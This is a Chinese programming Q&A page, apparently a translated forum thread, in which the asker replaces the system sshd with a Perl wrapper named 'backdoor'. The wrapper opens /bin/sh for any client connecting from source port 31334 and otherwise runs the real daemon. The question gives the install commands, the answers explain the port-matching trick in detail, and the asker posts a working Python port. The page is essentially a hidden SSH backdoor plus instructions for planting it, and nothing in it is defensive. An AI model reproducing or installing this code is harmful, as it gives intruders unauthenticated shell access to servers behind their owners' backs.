如何确定sshd的这个perl脚本的stdin内容

2024-09-27 09:28:14 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在根据perl编写python3ssh中间件,并希望将端口determine添加到python代码中。如何判断perl脚本中关于stdin的内容?你知道吗

perl脚本工作正常 我使用了ubuntu16.04,下面是我所做的

mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd 
systemctl restart sshd

这是perl代码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

根据我找到的信息,我理解标准输入法,是fd吗?你知道吗

这是我的python代码

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

for s in sys.stdin:
    raddr = os.read(s,100)
    if re.match(r'..zf',str(raddr)):
        os.execv("/bin/sh")
        with open("hello.log","a+") as f:
            f.write(str(raddr))
            sys.exit()
os.execv('/usr/bin/sshd',sys.argv)

我希望知道stdin在perl中的含义,谢谢~


Tags: 代码import脚本binosusrstdinsys
3条回答

谢谢大家,最后,我按照梅尔波梅的答案实现了我的目标。这是我的代码,虽然在运行时会有一个警告,但是很管用~

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

s = socket.socket(fileno = sys.stdin.fileno())

try:
    n = s.getpeername()
except:
    pass
else:
    raddr = n[1]
    if raddr == 31334:
        subprocess.run(["/bin/sh"])
        #sys.exit()

os.execv('/usr/bin/sshd',sys.argv)

警告是“类'异常':[Errno 88]非Socket上的Socket操作”,我对这个信息也有点困惑,我很高兴听到一些关于这个的分析。你知道吗

考虑到有人可能对stdin在这个问题上的具体内容感兴趣,我将其粘贴到下面

<socket.socket fd=0, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('192.168.8.199', 22), raddr=('192.168.8.240', 31334)> 

~~

STDIN是一个文件描述符(C术语),在Perl中也称为文件句柄。 它通常连接到键盘,但是如果在终端的管道中调用脚本,它将从管道中读取。如果脚本是CGI,它还可以从httppost读取数据。你知道吗

现在,您想要的getpeername不是您发布链接的那个,而是这个:

https://perldoc.perl.org/functions/getpeername.html

它“返回套接字连接另一端的压缩sockaddr地址”,就像furas指出的那样。你知道吗

STDIN是文件句柄,而不是文件描述符(“fd”)。文件描述符是表示操作系统内核在C级提供的接口("system calls",例如readwriteopen,…)中的I/O通道(如套接字)的小整数。你知道吗

STDIN(“标准输入”)是一个更高级别的对象,它包含一个文件描述符(0,在STDIN的情况下)以及其他数据,例如缓冲区。可以使用^{}从句柄中提取文件描述符。Perl中所有常用的I/O函数都在句柄上操作,而不是在原始文件描述符上操作。你知道吗

Perl的STDIN对应于Python中的^{}。与Perl一样,对象包装了一个底层文件描述符,您可以使用sys.stdin.fileno()(对应于Perl中的fileno(STDIN))来提取它。你知道吗

POSIX::getpeername是CPAN上的一个模块。它不是您的Perl脚本所使用的;否则您的代码中会有use POSIX::getpeername;(事实上,Perl脚本不会加载任何模块)。如文档所述,此模块提供了一个_getpeername函数,用于从套接字文件描述符获取远程地址;如果要将其与STDIN一起使用,则可以使用use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))(或POSIX::getpeername::_getpeername(0))。你知道吗

您的代码调用Perl中内置的^{}函数,该函数采用文件句柄,而不是描述符。手柄必须指向插座。在STDIN的情况下,是调用进程负责设置它;Perl代码只是假设它是一个套接字。这个函数返回的是一个包含原始struct sockaddr_inC结构的字节字符串。通常您会使用^{}来提取端口和IP地址(或者只使用^{}中的一个高级接口,例如$socket->peerport)。你知道吗

至于regex的作用,则取决于struct sockaddr_in的内部结构以及它所运行的系统。C类型本身声明为:

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

sa_family_tsome unsigned integer type。在Linux上(我也希望在其他unix系统上),它被定义为unsigned short,即2字节整数。你知道吗

in_port_t是按网络字节顺序包含端口的unsigned 2-byte integer。你知道吗

假设前两个字段之间没有填充,这意味着getpeername返回的字符串的前两个字节表示地址族,下两个字节表示big endian(“网络字节顺序”)格式的网络端口。你知道吗

这就是/^..zf/所匹配的。前两个字节可以是任何内容(除了值10,它被解释为换行符;这可能是代码中的一个bug),所以地址族并不重要。字符串zf对应于big endian中的31334

$ perl -wE 'say unpack "n", "zf"'
31334

简而言之,getpeername(...)=~/^..zf/检查远程端口是否为31334(以一种非常快速和肮脏的方式)。如果是这样,包装器脚本将运行/bin/sh;否则它将转发到真正的sshd可执行文件。你知道吗


我不确定相应的Python代码是什么。也许吧

import sys
import socket

socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334

什么?你知道吗

相关问题 更多 >

    热门问题